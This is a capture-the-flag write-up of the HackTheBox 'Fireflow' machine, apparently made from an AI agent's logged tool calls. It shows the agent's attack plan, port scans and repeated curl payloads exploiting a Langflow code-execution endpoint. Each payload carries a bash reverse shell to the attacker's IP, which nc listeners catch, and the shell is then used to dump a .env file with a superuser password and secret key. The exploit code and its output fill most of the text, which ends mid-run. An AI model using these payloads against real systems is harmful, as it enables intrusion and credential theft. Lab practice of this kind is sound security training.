HTB: Fireflow Writeup

Fireflow — HackTheBox Writeup

MachineFireflow
OSLinux
DifficultyMedium
Rating⭐⭐⭐☆☆
Authord3vn0mi

🛠️ Walkthrough

=== 0001_T003_Write_attack_plan.md.txt ===

Turn 3 | Tool: Write

Time: 21:07:27

INPUT

{ “file_path”: “/out/solve_out_20260722_210707/attack_plan.md”, “content”: ”# Fireflow Attack Plan\n\nTarget: 10.129.244.214 (live, re-derive all creds/tokens/flags)\n\n## Recon\n1. nmap full port scan -> expect 22 (ssh), 80/443 (nginx, redirects to https://fireflow.htb)\n2. Add /etc/hosts (on jump box, via curl —resolve or local hosts) for fireflow.htb and flow.fireflow.htb\n3. Browse fireflow.htb -> find “Open Agent” link -> vhost flow.fireflow.htb -> find leaked flow_id in /playground/<flow_id> URL\n\n## Foothold (user: www-data)\n4. Exploit CVE-2026-33017 (Langflow unauthenticated RCE via /api/v1/build_public_tmp/<flow_id>/flow) - POST malicious genericNode component with python code -> reverse shell to LHOST:9001\n5. Stabilize shell (script /dev/null -c bash; ctrl-z; stty raw -echo; fg)\n6. Read /etc/langflow/.env -> LANGFLOW_SUPERUSER_PASSWORD (reused password)\n7. Check /etc/passwd for user “nightfall”\n\n## User (nightfall) + user.txt\n8. SSH nightfall@fireflow.htb using password from .env (password reuse)\n9. Read /home/nightfall/user.txt -> USER FLAG\n10. cat ~/.mcp/config.json -> leaks MCP server URL (http://:30080), user langflow-bot, password\n\n## MCP JWT forge -> shell as mcp\n11. GET /api/v1/version -> confirm supported_algorithms includes “none”\n12. POST /api/v1/auth with langflow-bot creds -> get user JWT (role=user)\n13. Confirm POST /api/v1/tools with user JWT fails (Admin role required)\n14. Craft alg=none JWT: header {“alg”:“none”,“typ”:“JWT”}, payload {“sub”:“attacker”,“role”:“admin”}, token = b64(header).b64(payload). (empty signature)\n15. POST /api/v1/tools with admin JWT -> register malicious “shell” tool (python reverse shell code) via inputSchema/code\n16. Set up nc listener on LHOST\n17. POST /mcp JSON-RPC tools/call name=shell -> triggers reverse shell as user “mcp” (k8s pod)\n18. Stabilize shell\n\n## Privesc -> root.txt (K8s nodes/proxy abuse)\n19. Confirm running in k8s pod (serviceaccount token, KUBERNETES_SERVICE_HOST env)\n20. Use token to call /apis/authorization.k8s.io/v1/selfsubjectrulesreviews -> confirm get nodes/proxy permission\n21. Call https://:10250/pods (kubelet API) with SA token -> find privileged pod with hostPath mounting ”/” -> monitoring/prometheus-prometheus-node-exporter-* pod, container node-exporter\n22. Use kubelet exec-via-websocket (kube_exec.py script using SA token) against wss://:10250/exec///?command=… to run arbitrary commands AS ROOT ON HOST (nodes/proxy abuse, no further auth)\n23. cat /host/root/root/root.txt (path may vary - find hostPath mount, likely /host or similar) -> ROOT FLAG\n\n## Notes\n- All exploitation via jump box (, SSH ControlPath persistent)\n- flow_id, passwords, JWT secrets, node IP:port, pod names are ALL per-spawn - must discover live\n- CVE-2026-33017: Langflow unauthenticated RCE via generic code-execution component posted to build_public_tmp endpoint\n” }

OUTPUT

File created successfully at: /out/solve_out_20260722_210707/attack_plan.md (file state is current in your context — no need to Read it back)

=== 0002_T004_Bash_Test_jump_box_connectivity_and_tool_availability.txt ===

Turn 4 | Tool: Bash

Time: 21:07:28

Desc: Test jump box connectivity and tool availability

COMMAND

ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ ‘echo connected && which nmap curl python3 nc websockets 2>&1’

OUTPUT

connected /usr/bin/nmap /usr/bin/curl /usr/bin/python3 /usr/bin/nc /usr/bin/websockets

=== 0003_T006_Bash_Full_port_scan_and_service_enumeration.txt ===

Turn 6 | Tool: Bash

Time: 21:07:32

Desc: Full port scan and service enumeration

COMMAND

ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ ‘ports=$(nmap -p- —min-rate=1000 -T4 10.129.244.214 | grep ^[0-9] | cut -d ”/” -f 1 | tr “\n” ”,” | sed s/,$//); echo “PORTS=$ports”; nmap -p$ports -sV -sC 10.129.244.214’

OUTPUT

Exit code 1 zsh:1: no matches found: ^[0-9] PORTS= Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-22 17:07 -0400 Error #486: Your port specifications are illegal. Example of proper form: “-100,200-1024,T:3000-4000,U:60000-” QUITTING!

=== 0004_T008_Bash_Full_port_scan_using_grepable_output.txt ===

Turn 8 | Tool: Bash

Time: 21:07:51

Desc: Full port scan using grepable output

COMMAND

ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “nmap -p- —min-rate=1000 -T4 10.129.244.214 -oG - | grep -E ‘^Host.*Ports’ “

OUTPUT

Host: 10.129.244.214 () Ports: 22/open/tcp//ssh///, 443/open/tcp//https///

=== 0005_T010_Bash_Service_version_scan_on_discovered_ports.txt ===

Turn 10 | Tool: Bash

Time: 21:08:11

Desc: Service/version scan on discovered ports

COMMAND

ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “nmap -p22,80,443,30080 -sV -sC 10.129.244.214”

OUTPUT

Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-22 17:07 -0400 Nmap scan report for 10.129.244.214 Host is up (0.028s latency).

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA) |_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519) 80/tcp closed http 443/tcp open ssl/http nginx |_http-title: Did not follow redirect to https://fireflow.htb/ |ssl-date: TLS randomness does not represent time | tls-alpn: | http/1.1 | http/1.0 | http/0.9 | ssl-cert: Subject: commonName=fireflow.htb/organizationName=Task Force Nightfall/countryName=US | Subject Alternative Name: DNS:fireflow.htb, DNS:*.fireflow.htb | Not valid before: 2026-04-14T16:35:31 |_Not valid after: 2028-07-17T16:35:31 30080/tcp filtered unknown Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.82 seconds

=== 0006_T012_Bash_Fetch_main_site_homepage_via_SNI_resolve.txt ===

Turn 12 | Tool: Bash

Time: 21:08:15

Desc: Fetch main site homepage via SNI resolve

COMMAND

ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “curl -sk —resolve fireflow.htb:443:10.129.244.214 https://fireflow.htb/ | head -100”

OUTPUT

FireFlow — Task Force Nightfall
:root {
--bg: #08090f;
--surface: #0d1017;
--border: #181f2e;
--border2: #1e2c42;
--accent: #f97316;
--text: #c4cdd9;
--muted: #50606f;
--amber: #d97706;
--green: #16a34a;
}
body {
background: var(--bg);
color: var(--text);
font-family: 'Inter', 'Segoe UI', system-ui, sans-serif;
font-size: 15px;
line-height: 1.6;
min-height: 100vh;
}
.classbar {
background: rgba(220,38,38,.07);
border-bottom: 1px solid rgba(220,38,38,.18);
text-align: center;
padding: .28rem 1rem;
font-size: .67rem;
font-weight: 700;
letter-spacing: .18em;
text-transform: uppercase;
color: #ef4444;
}
nav {
display: flex;
align-items: center;
justify-content: space-between;
padding: .85rem 2.5rem;
border-bottom: 1px solid var(--border);
background: rgba(8,9,15,.97);
position: sticky; top: 0;
z-index: 100;
}
.nav-left { display: flex; align-items: center; gap: 1.2rem; }
.logo { font-size: 1.05rem; font-weight: 700; color: var(--text); }
.logo span { color: var(--accent); }
.nav-op {
font-size: .64rem; font-weight: 700; letter-spacing: .1em;
text-transform: uppercase; color: var(--muted);
padding-left: 1.2rem; border-left: 1px solid var(--border2);
}
nav ul { list-style: none; display: flex; gap: 2rem; }
nav a { color: var(--muted); text-decoration: none; font-size: .84rem; transition: color .15s; }
nav a:hover { color: var(--text); }
.nav-live {
display: flex; align-items: center; gap: .45rem;
font-size: .74rem; color: var(--muted);
border: 1px solid var(--border2);
padding: .28rem .75rem; border-radius: 4px;
}
.dot { width: 6px; height: 6px; border-radius: 50%; flex-shrink: 0; }
.dot-green { background: #22c55e; animation: blink 2.4s infinite; }
.dot-amber { background: var(--amber); animation: blink 1.8s infinite; }
@keyframes blink { 0%,100%{opacity:1} 50%{opacity:.35} }
.alert-bar {
background: rgba(220,38,38,.05);
border-bottom: 1px solid rgba(220,38,38,.15);
padding: .48rem 2.5rem;
font-size: .8rem; color: #b45454;
display: flex; align-items: center; gap: .7rem;
}
.alert-bar strong { color: #f87171; }
.hero { max-width: 980px; margin: 0 auto; padding: 4.5rem 3rem 3.5rem; }
.hero-tag {
display: inline-block;
font-size: .67rem; font-weight: 700; letter-spacing: .12em;
text-transform: uppercase; color: var(--accent);
background: rgba(249,115,22,.07); border: 1px solid rgba(249,115,22,.18);
padding: .22rem .7rem; border-radius: 3px; margin-bottom: 1.8rem;
}
.hero h1 {
font-size: clamp(1.85rem, 3.5vw, 2.9rem);
font-weight: 700; letter-spacing: -.6px; line-height: 1.18;
max-width: 680px; margin-bottom: 1.1rem; color: #dde6f0;
}
.hero h1 em { color: var(--accent); font-style: normal; }
.hero p.lede {
max-width: 560px; color: var(--muted);
font-size: .94rem; line-height: 1.8; margin-bottom: 2.5rem;

=== 0007_T014_Bash_Search_homepage_for_Open_Agent_link_and_flow_references.txt ===

Turn 14 | Tool: Bash

Time: 21:08:19

Desc: Search homepage for Open Agent link and flow references

COMMAND

ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “curl -sk —resolve fireflow.htb:443:10.129.244.214 https://fireflow.htb/ | grep -iE ‘href|agent|flow’ “

OUTPUT

FireFlow — Task Force Nightfall .agent-wrap { max-width: 980px; margin: 0 auto; padding: 0 3rem 1rem; } .agent-box { .agent-label { .agent-title { font-size: 1.1rem; font-weight: 700; color: #dde6f0; margin-bottom: .4rem; } .agent-desc { color: var(--muted); font-size: .86rem; line-height: 1.72; max-width: 500px; } .agent-meta { .agent-meta span { display: flex; align-items: center; gap: .35rem; } .agent-status { border: 1px solid var(--border); border-radius: 7px; overflow: hidden; .hero, .section, .agent-wrap { padding-left: 1.4rem; padding-right: 1.4rem; } .agent-box { flex-direction: column; align-items: flex-start; }
  • Status
  • Context
  • Ops
  • FireFlow is Task Force Nightfall's internal intelligence automation platform.
    NFAI-1 · Beta deployment
    Nightfall AI Agent
    Autonomous analysis agent built on the Nightfall flow engine. Assists with
    Flow: 7d84d636 Open Agent →
    Runs in Nightfall flow runner
    Flow engine 1.8.2 Platform docs Changelog Ops contact

    === 0008_T016_Bash_Start_background_netcat_listener_on_jump_box_port_9001.txt ===

    Turn 16 | Tool: Bash

    Time: 21:08:23

    Desc: Start background netcat listener on jump box port 9001

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ ‘nohup nc -lvnp 9001 > /tmp/shell_output.log 2>&1 & echo “listener started with pid $!”’

    OUTPUT

    listener started with pid 292971

    === 0009_T018_Bash_Check_jump_box_network_interfaces_to_determine_correct_LHOST.txt ===

    Turn 18 | Tool: Bash

    Time: 21:08:28

    Desc: Check jump box network interfaces to determine correct LHOST for reverse shell

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “ip -4 addr show | grep -E ‘inet ’ “

    OUTPUT

    inet 127.0.0.1/8 scope host lo
    inet <jump-host>/24 brd <jump-host> scope global dynamic noprefixroute eth0
    inet 10.10.15.180/23 brd 10.10.15.255 scope global tun0

    === 0010_T020_Bash_Send_Langflow_CVE-2026-33017_exploit_payload_for_RCE.txt ===

    Turn 20 | Tool: Bash

    Time: 21:08:38

    Desc: Send Langflow CVE-2026-33017 exploit payload for RCE

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ bash -s <<‘REMOTE’ curl -sk -X POST ‘https://flow.fireflow.htb/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
    —resolve flow.fireflow.htb:443:10.129.244.214
    -H ‘Content-Type: application/json’
    -b ‘client_id=attacker’
    -d ’{ “data”: { “nodes”: [{ “id”: “Exploit-001”, “type”: “genericNode”, “position”: {“x”:0,“y”:0}, “data”: { “id”: “Exploit-001”, “type”: “ExploitComp”, “node”: { “template”: { “code”: { “type”: “code”, “required”: true, “show”: true, “multiline”: true, “value”: “import os\n\n_x = os.system(“bash -c '''bash -i >& /dev/tcp/10.10.15.180/9001 0>&1'''”)\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name=“X”\n outputs=[Output(display_name=“O”,name=“o”,method=“r”)]\n def r(self)->Data:\n return Data(data={})”, “name”: “code”, “password”: false, “advanced”: false, “dynamic”: false }, “_type”: “Component” }, “description”: “X”, “base_classes”: [“Data”], “display_name”: “ExploitComp”, “name”: “ExploitComp”, “frozen”: false, “outputs”: [{“types”:[“Data”],“selected”:“Data”,“name”:“o”,“display_name”:“O”,“method”:“r”,“value”:“UNDEFINED”,“cache”:true,“allows_loop”:false,“tool_mode”:false,“hidden”:null,“required_inputs”:null,“group_outputs”:false}], “field_order”: [“code”], “beta”: false, “edited”: false } } }], “edges”: [] } }’ echo echo “DONE” REMOTE

    OUTPUT

    {“job_id”:“40b9a5c3-e301-4ef0-a8cb-2d7e3f7ae854”} DONE

    === 0011_T022_Bash_Check_reverse_shell_listener_output.txt ===

    Turn 22 | Tool: Bash

    Time: 21:08:46

    Desc: Check reverse shell listener output

    COMMAND

    sleep 5; ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “cat /tmp/shell_output.log”

    OUTPUT

    retrying local 0.0.0.0:9001 : Address already in use retrying local 0.0.0.0:9001 : Address already in use retrying local 0.0.0.0:9001 : Address already in use retrying local 0.0.0.0:9001 : Address already in use Can’t grab 0.0.0.0:9001 with bind

    === 0012_T024_Bash_Find_what_process_is_using_port_9001.txt ===

    Turn 24 | Tool: Bash

    Time: 21:08:49

    Desc: Find what process is using port 9001

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “ss -tlnp 2>/dev/null | grep 9001; ps aux | grep ‘nc -l’ | grep -v grep”

    OUTPUT

    LISTEN 0 5 0.0.0.0:9001 0.0.0.0:* users:((“python3”,pid=18639,fd=3))
    d3vn0mi 81557 0.0 0.0 2588 2108 ? SN 10:07 0:00 nc -lvnp 4446 d3vn0mi 84943 0.0 0.0 2588 1988 ? SN 10:14 0:00 nc -lvnp 4455 d3vn0mi 86380 0.0 0.0 2588 1984 ? S 10:17 0:00 nc -lvnp 4456 d3vn0mi 226713 0.0 0.0 7184 3536 ? SNs 15:06 0:00 bash -c tail -f /tmp/fifo_cmd | nc -lvnp 4444 > /tmp/nc4444_out.log 2>&1 d3vn0mi 226715 0.0 0.0 2588 2180 ? SN 15:06 0:00 nc -lvnp 4444 d3vn0mi 231293 0.0 0.0 7184 3480 ? SNs 15:15 0:00 bash -c tail -f /tmp/fifo_cmd_john | nc -lvnp 4446 > /tmp/nc4446_out.log 2>&1 d3vn0mi 231295 0.0 0.0 2588 1956 ? SN 15:15 0:00 nc -lvnp 4446 d3vn0mi 231828 0.0 0.0 7184 3572 ? SNs 15:16 0:00 bash -c tail -f /tmp/fifo_cmd_root | nc -lvnp 4455 > /tmp/nc4455_out.log 2>&1 d3vn0mi 231830 0.0 0.0 2588 1972 ? SN 15:16 0:00 nc -lvnp 4455 d3vn0mi 241566 0.0 0.0 2588 1988 ? Ss 15:35 0:00 nc -lvnp 4444 d3vn0mi 242814 0.0 0.0 7184 3784 ? Ss 15:38 0:00 bash -c tail -f /tmp/rce_fifo | nc -lvnp 47001 > /tmp/rce_out.log 2>&1 d3vn0mi 242817 0.0 0.0 2588 1980 ? S 15:38 0:00 nc -lvnp 47001

    === 0013_T027_Bash_Verify_port_9877_free_and_start_new_listener.txt ===

    Turn 27 | Tool: Bash

    Time: 21:08:55

    Desc: Verify port 9877 free and start new listener

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “ss -tln 2>/dev/null | grep -E ‘:9333|:9877’ ; echo checked” ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ ‘nohup nc -lvnp 9877 > /tmp/shell_output2.log 2>&1 & echo “listener started with pid $!”; sleep 1; ss -tlnp 2>/dev/null | grep 9877’

    OUTPUT

    checked listener started with pid 293272 LISTEN 0 1 0.0.0.0:9877 0.0.0.0:* users:((“nc”,pid=293272,fd=3))

    === 0014_T029_Bash_Re-fire_exploit_with_new_port_and_check_listener.txt ===

    Turn 29 | Tool: Bash

    Time: 21:10:05

    Desc: Re-fire exploit with new port and check listener

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ bash -s <<‘REMOTE’ curl -sk -X POST ‘https://flow.fireflow.htb/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
    —resolve flow.fireflow.htb:443:10.129.244.214
    -H ‘Content-Type: application/json’
    -b ‘client_id=attacker2’
    -d ’{ “data”: { “nodes”: [{ “id”: “Exploit-002”, “type”: “genericNode”, “position”: {“x”:0,“y”:0}, “data”: { “id”: “Exploit-002”, “type”: “ExploitComp”, “node”: { “template”: { “code”: { “type”: “code”, “required”: true, “show”: true, “multiline”: true, “value”: “import os\n\n_x = os.system(“bash -c '''bash -i >& /dev/tcp/10.10.15.180/9877 0>&1'''”)\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name=“X”\n outputs=[Output(display_name=“O”,name=“o”,method=“r”)]\n def r(self)->Data:\n return Data(data={})”, “name”: “code”, “password”: false, “advanced”: false, “dynamic”: false }, “_type”: “Component” }, “description”: “X”, “base_classes”: [“Data”], “display_name”: “ExploitComp”, “name”: “ExploitComp”, “frozen”: false, “outputs”: [{“types”:[“Data”],“selected”:“Data”,“name”:“o”,“display_name”:“O”,“method”:“r”,“value”:“UNDEFINED”,“cache”:true,“allows_loop”:false,“tool_mode”:false,“hidden”:null,“required_inputs”:null,“group_outputs”:false}], “field_order”: [“code”], “beta”: false, “edited”: false } } }], “edges”: [] } }’ echo echo “DONE” REMOTE sleep 5 ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “cat /tmp/shell_output2.log”

    OUTPUT

    Command did not complete within its 60s timeout and was moved to the background (ID: bgy3yygca). Output is being written to: You will be notified when it completes. To check interim output, use Read on that file path.

    === 0015_T031_Bash_Check_reverse_shell_listener_output_directly.txt ===

    Turn 31 | Tool: Bash

    Time: 21:10:10

    Desc: Check reverse shell listener output directly

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “cat /tmp/shell_output2.log”

    OUTPUT

    listening on [any] 9877 … connect to [10.10.15.180] from (UNKNOWN) [10.129.244.214] 37044 bash: cannot set terminal process group (1524): Inappropriate ioctl for device bash: no job control in this shell www-data@fireflow:/var/lib/langflow$

    === 0016_T033_ToolSearch_toolsearch.txt ===

    Turn 33 | Tool: ToolSearch

    Time: 21:10:14

    INPUT

    { “query”: “select:Monitor,TaskOutput”, “max_results”: 5 }

    OUTPUT

    === 0017_T036_Bash_Set_up_FIFO-based_bidirectional_nc_listener_on_new_port_9878.txt ===

    Turn 36 | Tool: Bash

    Time: 21:10:25

    Desc: Set up FIFO-based bidirectional nc listener on new port 9878

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “rm -f /tmp/fifo_ff; mkfifo /tmp/fifo_ff; nohup bash -c ‘tail -f /tmp/fifo_ff | nc -lvnp 9878 > /tmp/nc9878_out.log 2>&1’ > /tmp/nc9878_launcher.log 2>&1 & echo started; sleep 1; ss -tlnp 2>/dev/null | grep 9878”

    OUTPUT

    started LISTEN 0 1 0.0.0.0:9878 0.0.0.0:* users:((“nc”,pid=294129,fd=3))

    === 0018_T038_Bash_Fire_exploit_for_FIFO-backed_shell_and_check_output.txt ===

    Turn 38 | Tool: Bash

    Time: 21:10:42

    Desc: Fire exploit for FIFO-backed shell and check output

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ bash -s <<‘REMOTE’ & curl -sk -X POST ‘https://flow.fireflow.htb/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
    —resolve flow.fireflow.htb:443:10.129.244.214
    -H ‘Content-Type: application/json’
    -b ‘client_id=attacker3’
    -d ’{ “data”: { “nodes”: [{ “id”: “Exploit-003”, “type”: “genericNode”, “position”: {“x”:0,“y”:0}, “data”: { “id”: “Exploit-003”, “type”: “ExploitComp”, “node”: { “template”: { “code”: { “type”: “code”, “required”: true, “show”: true, “multiline”: true, “value”: “import os\n\n_x = os.system(“bash -c '''bash -i >& /dev/tcp/10.10.15.180/9878 0>&1'''”)\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name=“X”\n outputs=[Output(display_name=“O”,name=“o”,method=“r”)]\n def r(self)->Data:\n return Data(data={})”, “name”: “code”, “password”: false, “advanced”: false, “dynamic”: false }, “_type”: “Component” }, “description”: “X”, “base_classes”: [“Data”], “display_name”: “ExploitComp”, “name”: “ExploitComp”, “frozen”: false, “outputs”: [{“types”:[“Data”],“selected”:“Data”,“name”:“o”,“display_name”:“O”,“method”:“r”,“value”:“UNDEFINED”,“cache”:true,“allows_loop”:false,“tool_mode”:false,“hidden”:null,“required_inputs”:null,“group_outputs”:false}], “field_order”: [“code”], “beta”: false, “edited”: false } } }], “edges”: [] } }’ REMOTE disown sleep 6 ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “cat /tmp/nc9878_out.log”

    OUTPUT

    listening on [any] 9878 …

    === 0019_T040_Bash_Recheck_FIFO_listener_output_for_new_shell_connection.txt ===

    Turn 40 | Tool: Bash

    Time: 21:10:50

    Desc: Recheck FIFO listener output for new shell connection

    COMMAND

    sleep 5; ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “cat /tmp/nc9878_out.log”

    OUTPUT

    listening on [any] 9878 …

    === 0020_T042_Bash_Check_if_backgrounded_curl_job_is_still_running_locally.txt ===

    Turn 42 | Tool: Bash

    Time: 21:10:55

    Desc: Check if backgrounded curl job is still running locally

    COMMAND

    jobs -l; ps aux | grep curl 2>/dev/null | grep -v grep

    OUTPUT

    /bin/bash: line 1: ps: command not found

    === 0021_T044_Bash_Fire_exploit_again_for_FIFO-backed_shell_background.txt ===

    Turn 44 | Tool: Bash

    Time: 21:11:05

    Desc: Fire exploit again for FIFO-backed shell (background)

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ bash -s <<‘REMOTE’ curl -sk -X POST ‘https://flow.fireflow.htb/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
    —resolve flow.fireflow.htb:443:10.129.244.214
    -H ‘Content-Type: application/json’
    -b ‘client_id=attacker4’
    -d ’{ “data”: { “nodes”: [{ “id”: “Exploit-004”, “type”: “genericNode”, “position”: {“x”:0,“y”:0}, “data”: { “id”: “Exploit-004”, “type”: “ExploitComp”, “node”: { “template”: { “code”: { “type”: “code”, “required”: true, “show”: true, “multiline”: true, “value”: “import os\n\n_x = os.system(“bash -c '''bash -i >& /dev/tcp/10.10.15.180/9878 0>&1'''”)\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name=“X”\n outputs=[Output(display_name=“O”,name=“o”,method=“r”)]\n def r(self)->Data:\n return Data(data={})”, “name”: “code”, “password”: false, “advanced”: false, “dynamic”: false }, “_type”: “Component” }, “description”: “X”, “base_classes”: [“Data”], “display_name”: “ExploitComp”, “name”: “ExploitComp”, “frozen”: false, “outputs”: [{“types”:[“Data”],“selected”:“Data”,“name”:“o”,“display_name”:“O”,“method”:“r”,“value”:“UNDEFINED”,“cache”:true,“allows_loop”:false,“tool_mode”:false,“hidden”:null,“required_inputs”:null,“group_outputs”:false}], “field_order”: [“code”], “beta”: false, “edited”: false } } }], “edges”: [] } }’ REMOTE

    OUTPUT

    Command running in background with ID: b7jez2d50. Output is being written to: You will be notified when it completes. To check interim output, use Read on that file path.

    === 0022_T045_Bash_Check_FIFO_listener_output_for_new_connection.txt ===

    Turn 45 | Tool: Bash

    Time: 21:11:14

    Desc: Check FIFO listener output for new connection

    COMMAND

    sleep 6; ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “cat /tmp/nc9878_out.log”

    OUTPUT

    listening on [any] 9878 …

    === 0023_T047_Bash_Check_status_of_old_port_9877_listener_connection.txt ===

    Turn 47 | Tool: Bash

    Time: 21:11:23

    Desc: Check status of old port 9877 listener connection

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “ss -tnp 2>/dev/null | grep -E ‘9877|9878’; ps aux | grep -E ‘9877|nc -lvnp 9877’ | grep -v grep”

    OUTPUT

    ESTAB 0 0 10.10.15.180:9877 10.129.244.214:37044 users:((“nc”,pid=293272,fd=4))
    d3vn0mi 293272 0.0 0.0 2588 2116 ? SN 17:08 0:00 nc -lvnp 9877 d3vn0mi 293421 0.0 0.0 21960 12516 ? S 17:09 0:00 curl -sk -X POST https://flow.fireflow.htb/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow —resolve flow.fireflow.htb:443:10.129.244.214 -H Content-Type: application/json -b client_id=attacker2 -d { “data”: { “nodes”: [{ “id”: “Exploit-002”, “type”: “genericNode”, “position”: {“x”:0,“y”:0}, “data”: { “id”: “Exploit-002”, “type”: “ExploitComp”, “node”: { “template”: { “code”: { “type”: “code”, “required”: true, “show”: true, “multiline”: true, “value”: “import os\n\n_x = os.system(“bash -c ‘bash -i >& /dev/tcp/10.10.15.180/9877 0>&1’”)\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name=“X”\n outputs=[Output(display_name=“O”,name=“o”,method=“r”)]\n def r(self)->Data:\n return Data(data={})”, “name”: “code”, “password”: false, “advanced”: false, “dynamic”: false }, “_type”: “Component” }, “description”: “X”, “base_classes”: [“Data”], “display_name”: “ExploitComp”, “name”: “ExploitComp”, “frozen”: false, “outputs”: [{“types”:[“Data”],“selected”:“Data”,“name”:“o”,“display_name”:“O”,“method”:“r”,“value”:“UNDEFINED”,“cache”:true,“allows_loop”:false,“tool_mode”:false,“hidden”:null,“required_inputs”:null,“group_outputs”:false}], “field_order”: [“code”], “beta”: false, “edited”: false } } }], “edges”: [] } }

    === 0024_T049_Bash_Kill_stuck_nc_listener_and_curl_to_free_build_slot.txt ===

    Turn 49 | Tool: Bash

    Time: 21:11:28

    Desc: Kill stuck nc listener and curl to free build slot

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “kill -9 293272 293421 2>/dev/null; sleep 1; ss -tnp 2>/dev/null | grep -E ‘9877|9878‘“

    OUTPUT

    ESTAB 0 0 10.10.15.180:9878 10.129.244.214:36592 users:((“nc”,pid=294129,fd=4))

    === 0025_T051_Bash_Check_FIFO-backed_shell_output.txt ===

    Turn 51 | Tool: Bash

    Time: 21:11:30

    Desc: Check FIFO-backed shell output

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “cat /tmp/nc9878_out.log”

    OUTPUT

    listening on [any] 9878 … connect to [10.10.15.180] from (UNKNOWN) [10.129.244.214] 36592 bash: cannot set terminal process group (1524): Inappropriate ioctl for device bash: no job control in this shell www-data@fireflow:/var/lib/langflow$

    === 0026_T053_Bash_Send_commands_via_FIFO_to_read_.env_and_passwd.txt ===

    Turn 53 | Tool: Bash

    Time: 21:11:36

    Desc: Send commands via FIFO to read .env and passwd

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “echo ‘id; cat /etc/langflow/.env; echo ---; cat /etc/passwd | grep -E “nightfall|1000”’ > /tmp/fifo_ff” sleep 3 ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “tail -30 /tmp/nc9878_out.log”

    OUTPUT

    listening on [any] 9878 … connect to [10.10.15.180] from (UNKNOWN) [10.129.244.214] 36592 bash: cannot set terminal process group (1524): Inappropriate ioctl for device bash: no job control in this shell www-data@fireflow:/var/lib/langflow$ <cho ---; cat /etc/passwd | grep -E “nightfall|1000” uid=33(www-data) gid=33(www-data) groups=33(www-data) LANGFLOW_AUTO_LOGIN=False LANGFLOW_SUPERUSER=langflow LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll LANGFLOW_SECRET_KEY=XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE LANGFLOW_CONFIG_DIR=/var/lib/langflow LANGFLOW_LOG_LEVEL=warning LANGFLOW_NEW_USER_IS_ACTIVE=False LANGFLOW_CORS_ORIGINS=https://flow.fireflow.htb,https://fireflow.htb

    nightfall:x:1000:1000::/home/nightfall:/bin/bash www-data@fireflow:/var/lib/langflow$

    === 0027_T055_Bash_SSH_as_nightfall_using_discovered_password_grab_user_flag_an.txt ===

